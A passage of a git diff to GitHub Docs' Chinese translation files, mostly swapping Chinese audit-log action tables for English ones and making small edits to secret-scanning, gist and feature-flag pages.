`issue_comment.update` | 已更改问题的正文文本(初始注释)。 | -| `issue.destroy` | 已从仓库中删除问题。 更多信息请参阅“[删除议题](/github/managing-your-work-on-github/deleting-an-issue)”。 | +Action | Description +------------------------------------ | ----------------------------------------------------------- +`issue.update` | An issue's body text (initial comment) changed. +`issue_comment.update` | A comment on an issue (other than the initial one) changed. +`issue.destroy` | An issue was deleted from the repository. For more information, see "[Deleting an issue](/github/managing-your-work-on-github/deleting-an-issue)." -## 组织 +## Organizations -| 操作 | 描述 | -| ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------- | -| `org.async_delete` | 用户发起了删除组织的后台作业。 | -| `org.delete` | 用户发起的背景作业删除了组织。{% ifversion not ghae %} -| `org.transform` | 已将用户帐户转换为组织。 更多信息请参阅“[将用户转换为组织](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)”{% endif %} +Action | Description +------------------ | ---------------------------------------------------------- +`org.async_delete` | A user initiated a background job to delete an organization. +`org.delete` | An organization was deleted by a user-initiated background job.{% ifversion not ghae %} +`org.transform` | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %} -## 拉取请求 +## Pull requests -| 操作 | 描述n | | :- | :- |{% ifversion ghes > 3.1 or ghae-next %} | `pull_request.create` | 创建了拉取请求。 更多信息请参阅“[创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)”。 | | `pull_request.close` | 关闭了拉取请求而未合并。 更多信息请参阅“[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)”。 | | `pull_request.reopen` | 重新打开了之前关闭的拉取请求。 | | `pull_request.merge` | 合并了拉取请求。 更多信息请参阅“[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)”。 | | `pull_request.indirect_merge` | 考虑合并拉取请求,因为拉取请求的提交已合并到目标分支。 | | `pull_request.ready_for_review` | 拉取请求标记为可供审查。 更多信息请参阅“[更改拉取请求的阶段](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)”。 | | `pull_request.converted_to_draft` | 拉取请求转换为草稿。 更多信息请参阅“[更改拉取请求的阶段](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)”。 | | `pull_request.create_review_request` | 请求对拉取请求的审查。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request.remove_review_request` | 从拉取请求删除审查请求。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request_review.submit` | 为拉取请求提交审查。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request_review.discute` | 撤销对拉取请求的审查。 更多信息请参阅“[忽略拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。 | | `pull_request_review.delete` | 删除对拉取请求的审查。 | | `pull_request_review_comment.create` | 审查评论添加到拉取请求。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request_review_comment.update` | 更改拉取请求上的审查评论。 |{% endif %} | `pull_request_review_comment.delete` | 删除了拉取请求上的审查评论。 | +| Action | Description | +| :- | :- |{% ifversion ghes > 3.1 or ghae-next %} +| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." | +| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." | +| `pull_request.reopen` | A pull request was reopened after previously being closed. | +| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." | +| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. | +| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." | +| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." | +| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." | +| `pull_request_review.delete` | A review on a pull request was deleted. | +| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %} +| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. | -## 受保护分支 +## Protected branches -| 操作 | 描述 | -| ------------------------------------------------------------------ | ---------------------- | -| `protected_branch.create` | 已在分支上启用分支保护。 | -| `protected_branch.destroy` | 已在分支上禁用分支保护。 | -| `protected_branch.update_admin_enforced` | 已为仓库管理员强制执行分支保护。 | -| `protected_branch.update_require_code_owner_review` | 已在分支上更新必需代码所有者审查的强制执行。 | -| `protected_branch.dismiss_stale_reviews` | 已在分支上更新忽略旧拉取请求的强制执行。 | -| `protected_branch.update_signature_requirement_enforcement_level` | 已在分支上更新必需提交签名的强制执行。 | -| `protected_branch.update_pull_request_reviews_enforcement_level` | 已在分支上更新必需拉取请求审查的强制执行。 | -| `protected_branch.update_required_status_checks_enforcement_level` | 已在分支上更新必需状态检查的强制执行。 | -| `protected_branch.rejected_ref_update` | 分支更新尝试被拒。 | -| `protected_branch.policy_override` | 分支保护要求被仓库管理员覆盖。 | +Action | Description +-------------------------- | ---------------------------------------------------------- +`protected_branch.create ` | Branch protection is enabled on a branch. +`protected_branch.destroy` | Branch protection is disabled on a branch. +`protected_branch.update_admin_enforced ` | Branch protection is enforced for repository administrators. +`protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch. +`protected_branch.dismiss_stale_reviews ` | Enforcement of dismissing stale pull requests is updated on a branch. +`protected_branch.update_signature_requirement_enforcement_level ` | Enforcement of required commit signing is updated on a branch. +`protected_branch.update_pull_request_reviews_enforcement_level ` | Enforcement of required pull request reviews is updated on a branch. +`protected_branch.update_required_status_checks_enforcement_level ` | Enforcement of required status checks is updated on a branch. +`protected_branch.rejected_ref_update ` | A branch update attempt is rejected. +`protected_branch.policy_override ` | A branch protection requirement is overridden by a repository administrator. -## 仓库 +## Repositories -| 操作 | 描述 | -| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `repo.access` | 仓库的可见性已更改为私有{% ifversion ghes %}、公共{% endif %} 或内部。 | -| `repo.archived` | 已存档仓库。 更多信息请参阅“[存档 {% data variables.product.prodname_dotcom %} 仓库](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)”。 | -| `repo.add_member` | 已向仓库添加协作者。 | -| `repo.config` | 站点管理员已阻止强制推送。 更多信息请参阅“[阻止对仓库进行强制推送](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/)”。 | -| `repo.create` | 已创建仓库。 | -| `repo.destroy` | 已删除仓库。 | -| `repo.remove_member` | 已从仓库中移除协作者。 | -| `repo.rename` | 已重命名仓库。 | -| `repo.transfer` | 用户已接受接收传输仓库的请求。 | -| `repo.transfer_start` | 用户已发送向另一用户或组织传输仓库的请求。 | -| `repo.unarchived` | 已取消存档仓库。 更多信息请参阅“[存档 {% data variables.product.prodname_dotcom %} 仓库](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)”。{% ifversion ghes %} -| `repo.config.disable_anonymous_git_access` | 已为仓库禁用匿名 Git 读取权限。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。” | -| `repo.config.enable_anonymous_git_access` | 已为仓库启用匿名 Git 读取权限。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。” | -| `repo.config.lock_anonymous_git_access` | 已锁定仓库的匿名 Git 读取权限设置,阻止仓库管理员更改(启用或禁用)此设置。 更多信息请参阅“[阻止用户更改匿名 Git 读取权限](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)”。 | -| `repo.config.unlock_anonymous_git_access` | 已解锁仓库的匿名 Git 读取权限设置,允许仓库管理员更改(启用或禁用)此设置。 更多信息请参阅“[阻止用户更改匿名 Git 读取权限](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)”。{% endif %} +Action | Description +--------------------- | ------------------------------------------------------- +`repo.access` | The visibility of a repository changed to private{% ifversion ghes %}, public,{% endif %} or internal. +`repo.archived` | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)." +`repo.add_member` | A collaborator was added to a repository. +`repo.config` | A site admin blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository. +`repo.create` | A repository was created. +`repo.destroy` | A repository was deleted. +`repo.remove_member` | A collaborator was removed from a repository. +`repo.rename` | A repository was renamed. +`repo.transfer` | A user accepted a request to receive a transferred repository. +`repo.transfer_start` | A user sent a request to transfer a repository to another user or organization. +`repo.unarchived` | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."{% ifversion ghes %} +`repo.config.disable_anonymous_git_access`| Anonymous Git read access is disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +`repo.config.enable_anonymous_git_access` | Anonymous Git read access is enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +`repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting is locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)." +`repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting is unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %} -## 站点管理员工具 +## Site admin tools -| 操作 | 描述 | -| ----------------------- | ---------------------------------------------------------------------------------------------- | -| `staff.disable_repo` | 站点管理员已禁用对仓库及其所有复刻的访问。 | -| `staff.enable_repo` | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %} -| `staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}. | -| `staff.fake_login` | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %} -| `staff.repo_unlock` | 站点管理员已解锁(临时获得完全访问权限)用户的一个私有仓库。 | -| `staff.unlock` | 站点管理员已解锁(临时获得完全访问权限)用户的所有私有仓库。 | +Action | Description +----------------------------- | ----------------------------------------------- +`staff.disable_repo` | A site admin disabled access to a repository and all of its forks. +`staff.enable_repo` | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %} +`staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}. +`staff.fake_login` | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %} +`staff.repo_unlock` | A site admin unlocked (temporarily gained full access to) one of a user's private repositories. +`staff.unlock` | A site admin unlocked (temporarily gained full access to) all of a user's private repositories. -## 团队 +## Teams -| 操作 | 描述 | -| ------------------------- | --------------------------------------------------------------------------------- | -| `team.create` | 已向团队添加用户帐户或仓库。 | -| `team.delete` | A user account or repository was removed from a team.{% ifversion ghes or ghae %} -| `team.demote_maintainer` | 用户从团队维护员降级为团队成员。{% endif %} -| `team.destroy` | 团队被删除。{% ifversion ghes or ghae %} -| `team.promote_maintainer` | 用户从团队成员晋升为团队维护员。{% endif %} +Action | Description +--------------------------------- | ------------------------------------------- +`team.create` | A user account or repository was added to a team. +`team.delete` | A user account or repository was removed from a team.{% ifversion ghes or ghae %} +`team.demote_maintainer` | A user was demoted from a team maintainer to a team member.{% endif %} +`team.destroy` | A team was deleted.{% ifversion ghes or ghae %} +`team.promote_maintainer` | A user was promoted from a team member to a team maintainer.{% endif %} -## 用户 +## Users -| 操作 | 描述 | -| ------------------------------- | ------------------------------------------------------------------------------------------------------------- | -| `user.add_email` | 已向用户帐户添加电子邮件地址。 | -| `user.async_delete` | 异步作业已开始破坏用户帐户,最终触发 `user.delete`。{% ifversion ghes %} -| `user.change_password` | 用户已更改其密码。{% endif %} -| `user.create` | 已创建新的用户帐户。 | -| `user.delete` | 已通过异步作业销毁用户帐户。 | -| `user.demote` | 已将站点管理员降级为普通用户帐户。 | -| `user.destroy` | 用户已删除其帐户,触发 `user.async_delete`。{% ifversion ghes %} -| `user.failed_login` | 用户尝试登录时使用的用户名、密码或双重身份验证码不正确。 | -| `user.forgot_password` | 用户通过登录页面请求了密码重置。{% endif %} -| `user.login` | 用户已登录。{% ifversion ghes or ghae %} -| `user.mandatory_message_viewed` | 用户查看必读消息(详情请参阅“[自定义用户消息](/admin/user-management/customizing-user-messages-for-your-enterprise)”)| {% endif %} -| `user.promote` | 已将普通用户帐户升级为站点管理员。 | -| `user.remove_email` | 已从用户帐户中移除电子邮件地址。 | -| `user.rename` | 已更改用户名。 | -| `user.suspend` | 用户帐户被站点管理员暂停。{% ifversion ghes %} -| `user.two_factor_requested` | 已提示用户输入双重身份验证码。{% endif %} -| `user.unsuspend` | 站点管理员已取消挂起用户帐户。 | +Action | Description +--------------------------------- | ------------------------------------------- +`user.add_email` | An email address was added to a user account. +`user.async_delete` | An asynchronous job was started to destroy a user account, eventually triggering `user.delete`.{% ifversion ghes %} +`user.change_password` | A user changed his or her password.{% endif %} +`user.create` | A new user account was created. +`user.delete` | A user account was destroyed by an asynchronous job. +`user.demote` | A site admin was demoted to an ordinary user account. +`user.destroy` | A user deleted his or her account, triggering `user.async_delete`.{% ifversion ghes %} +`user.failed_login` | A user tried to sign in with an incorrect username, password, or two-factor authentication code. +`user.forgot_password` | A user requested a password reset via the sign-in page.{% endif %} +`user.login` | A user signed in.{% ifversion ghes or ghae %} +`user.mandatory_message_viewed` | A user views a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %} +`user.promote` | An ordinary user account was promoted to a site admin. +`user.remove_email` | An email address was removed from a user account. +`user.rename` | A username was changed. +`user.suspend` | A user account was suspended by a site admin.{% ifversion ghes %} +`user.two_factor_requested` | A user was prompted for a two-factor authentication code.{% endif %} +`user.unsuspend` | A user account was unsuspended by a site admin. -{% ifversion ghes > 3.1 or ghae-issue-1157 %} -## 工作流程 +{% ifversion ghes > 3.1 or ghae-next %} +## Workflows {% data reusables.actions.actions-audit-events-workflow %} {% endif %} - - [add key]: /articles/adding-a-new-ssh-key-to-your-github-account - [部署密钥]: /guides/managing-deploy-keys/#deploy-keys - [generate token]: /articles/creating-an-access-token-for-command-line-use - [OAuth 访问令牌]: /developers/apps/authorizing-oauth-apps - [OAuth 应用程序]: /guides/basics-of-authentication/#registering-your-app - [2fa]: /articles/about-two-factor-authentication diff --git a/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index e4cde2b237..ed23e51702 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -82,8 +82,12 @@ After your pattern is created, {% data variables.product.prodname_secret_scannin ## Defining a custom pattern for an enterprise account +{% ifversion fpt or ghec or ghes %} + Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." +{% endif %} + {% note %} **Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. diff --git a/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md index f1d15dceea..b148ac4d78 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md +++ b/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md @@ -25,14 +25,14 @@ shortTitle: Manage secret alerts {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -3. In the left sidebar, click **Secret scanning alerts**. +1. In the left sidebar, click **Secret scanning alerts**. {% ifversion fpt or ghes or ghec %} !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png) {% endif %} {% ifversion ghae %} !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png) {% endif %} -4. Under "Secret scanning" click the alert you want to view. +1. Under "Secret scanning" click the alert you want to view. {% ifversion fpt or ghec %} ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png) {% endif %} @@ -42,11 +42,7 @@ shortTitle: Manage secret alerts {% ifversion ghae %} ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png) {% endif %} -5. {% ifversion fpt or ghec %} - Optionally, use the "Close as" drop-down menu and click a reason for resolving an alert. - {%- elsif ghes or ghae %} - Optionally, use the "Mark as" drop-down menu and click a reason for resolving an alert. - {% endif %} +1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert. {% ifversion fpt or ghec %} ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png) {% endif %} diff --git a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md index fdbe142897..21c3bd883f 100644 --- a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md +++ b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md @@ -1,6 +1,6 @@ --- -title: 复刻和克隆 Gist -intro: Gist 实际上是 Git 仓库,这意味着即使您不是原作者,也可以复刻或克隆任何 Gist。 还可以查看 Gist 的完整提交历史记录,包括差异。 +title: Forking and cloning gists +intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.' permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' redirect_from: - /articles/forking-and-cloning-gists @@ -11,25 +11,24 @@ versions: ghae: '*' ghec: '*' --- +## Forking gists -## 复刻 Gist +Each gist indicates which forks have activity, making it easy to find interesting changes from others. -每个 Gist 都指示哪些复刻中有活动,使您更容易找到他人的有趣更改。 +![Gist forks](/assets/images/help/gist/gist_forks.png) -![Gist 复刻](/assets/images/help/gist/gist_forks.png) +## Cloning gists -## 克隆 Gist +If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -如果要对 Gist 进行本地更改然后将其推送到 web 上,您可以克隆 Gist 然后进行提交,与使用任何 Git 仓库的方法一样。 更多信息请参阅“[克隆仓库](/articles/cloning-a-repository)”。 +![Gist clone button](/assets/images/help/gist/gist_clone_btn.png) -![Gist 克隆按钮](/assets/images/help/gist/gist_clone_btn.png) +## Viewing gist commit history -## 查看 Gist 提交历史记录 +To view a gist's full commit history, click the "Revisions" tab at the top of the gist. -要查看 Gist 的完整提交历史记录,请单击该 Gist 顶部的“Revisions(版本)”选项卡。 +![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png) -![Gist 版本选项卡](/assets/images/help/gist/gist_revisions_tab.png) +You will see a full commit history for the gist with diffs. -您将看到该 Gist 的完整提交历史记录及其差异。 - -![Gist 版本页面](/assets/images/help/gist/gist_history.png) +![Gist revisions page](/assets/images/help/gist/gist_history.png) diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 3765400734..0d23b4dbc8 100644 --- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -434,7 +434,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." | `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). | `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} @@ -605,7 +605,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." | `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." | `remove_topic` | Triggered when a repository admin removes a topic from a repository. -| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 0209187eda..1ac3ee3211 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -40,7 +40,7 @@ Protected branch rules that mention a special character, such as `*`, `?`, or `] To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. -For more information about each of each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." ## Creating a branch protection rule diff --git a/translations/zh-CN/data/features/actions-runner-arch-envvars.yml b/translations/zh-CN/data/features/actions-runner-arch-envvars.yml index 66ced1151a..b6f74f6df2 100644 --- a/translations/zh-CN/data/features/actions-runner-arch-envvars.yml +++ b/translations/zh-CN/data/features/actions-runner-arch-envvars.yml @@ -5,4 +5,4 @@ versions: fpt: '*' ghec: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5727' + ghae: 'issue-5727' diff --git a/translations/zh-CN/data/features/keyboard-shortcut-accessibility-setting.yml b/translations/zh-CN/data/features/keyboard-shortcut-accessibility-setting.yml index 7f7cf9d11b..41c2f3dac8 100644 --- a/translations/zh-CN/data/features/keyboard-shortcut-accessibility-setting.yml +++ b/translations/zh-CN/data/features/keyboard-shortcut-accessibility-setting.yml @@ -4,5 +4,5 @@ versions: fpt: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5430' + ghae: 'issue-5430' ghec: '*' diff --git a/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md b/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md index 6ae297abcb..712e815b24 100644 --- a/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| 操作 | 描述 | -| ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `cancel_workflow_run` | 工作流程运行取消时触发。 更多信息请参阅“[取消工作流程](/actions/managing-workflow-runs/canceling-a-workflow)。{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `completed_workflow_run` | 当工作流程状态更改为`完成`时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `created_workflow_run` | 工作流程运行创建时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[创建示例工作流程](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)。{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | 工作流程运行被删除时触发。 